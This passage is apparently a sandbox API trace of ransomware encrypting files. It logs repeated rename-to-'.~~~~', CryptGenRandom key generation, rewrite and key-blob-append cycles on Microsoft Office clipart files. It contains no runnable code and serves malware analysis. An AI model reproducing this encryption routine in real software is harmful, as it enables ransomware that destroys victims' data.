	[0093.861] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.861] CloseHandle (hObject=0x134) returned 1
	[0093.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.861] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.~~~~")) returned 1
	[0093.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0093.862] GetLastError () returned 0x0
	[0093.862] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0093.863] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.863] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0093.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0093.863] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21385341799) returned 1
	[0093.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa1a919b0, dwHighDateTime=0x1d60e1e)) 
	[0093.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0093.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0093.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0093.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388528
	[0093.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388528 | out: hHeap=0x300000) returned 1
	[0093.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e2f0
	[0093.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.864] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0093.864] GetLastError () returned 0x0
	[0093.864] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0093.864] GetLastError () returned 0x0
	[0093.971] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffeaf6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.971] WriteFile (in: hFile=0x134, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x150a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x150a, lpOverlapped=0x0) returned 1
	[0093.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0093.971] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.972] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.972] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.972] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.972] CloseHandle (hObject=0x134) returned 1
	[0093.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.~~~~")) returned 1
	[0093.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0093.973] GetLastError () returned 0x0
	[0093.973] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0093.974] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.974] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0093.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0093.974] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21396451478) returned 1
	[0093.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa1b9c350, dwHighDateTime=0x1d60e1e)) 
	[0093.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0093.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0093.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0093.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388640
	[0093.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388640 | out: hHeap=0x300000) returned 1
	[0093.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e4b8
	[0093.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.975] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0093.975] GetLastError () returned 0x0
	[0093.975] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0093.975] GetLastError () returned 0x0
	[0094.080] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff100, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.080] WriteFile (in: hFile=0x134, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xf00, lpOverlapped=0x0) returned 1
	[0094.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0094.080] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.080] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.081] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.081] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.081] CloseHandle (hObject=0x134) returned 1
	[0094.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.081] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.~~~~")) returned 1
	[0094.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0094.082] GetLastError () returned 0x0
	[0094.082] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0094.083] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.083] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0094.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0094.084] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21407367334) returned 1
	[0094.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa1ca6cf0, dwHighDateTime=0x1d60e1e)) 
	[0094.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0094.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0094.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0094.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9960
	[0094.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9960 | out: hHeap=0x300000) returned 1
	[0094.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e7b0
	[0094.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.085] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0094.085] GetLastError () returned 0x0
	[0094.085] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0094.085] GetLastError () returned 0x0
	[0094.093] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffbe9e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.093] WriteFile (in: hFile=0x134, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4162, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x4162, lpOverlapped=0x0) returned 1
	[0094.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0094.094] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.094] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.094] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.094] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.094] CloseHandle (hObject=0x134) returned 1
	[0094.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.095] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.~~~~")) returned 1
	[0094.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0094.095] GetLastError () returned 0x0
	[0094.096] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0094.097] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.097] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0094.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0094.097] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21408698313) returned 1
	[0094.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa1ccce50, dwHighDateTime=0x1d60e1e)) 
	[0094.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0094.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0094.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0094.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9730
	[0094.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9730 | out: hHeap=0x300000) returned 1
	[0094.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283ea10
	[0094.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.098] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0094.098] GetLastError () returned 0x0
	[0094.098] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0094.098] GetLastError () returned 0x0
	[0094.174] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffdc88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.175] WriteFile (in: hFile=0x134, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2378, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x2378, lpOverlapped=0x0) returned 1
	[0094.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0094.176] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.176] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.176] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.176] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.176] CloseHandle (hObject=0x134) returned 1
	[0094.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.253] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.~~~~")) returned 1
	[0094.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0094.254] GetLastError () returned 0x0
	[0094.255] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0094.256] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.256] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0094.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0094.256] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21424612160) returned 1
	[0094.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa1e49c10, dwHighDateTime=0x1d60e1e)) 
	[0094.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0094.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0094.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0094.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a97d8
	[0094.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a97d8 | out: hHeap=0x300000) returned 1
	[0094.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283eb40
	[0094.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.257] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0094.257] GetLastError () returned 0x0
	[0094.257] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0094.257] GetLastError () returned 0x0
	[0094.261] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff0c61, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.261] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xf39f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0xf39f, lpOverlapped=0x0) returned 1
	[0094.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0094.262] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.262] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.262] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
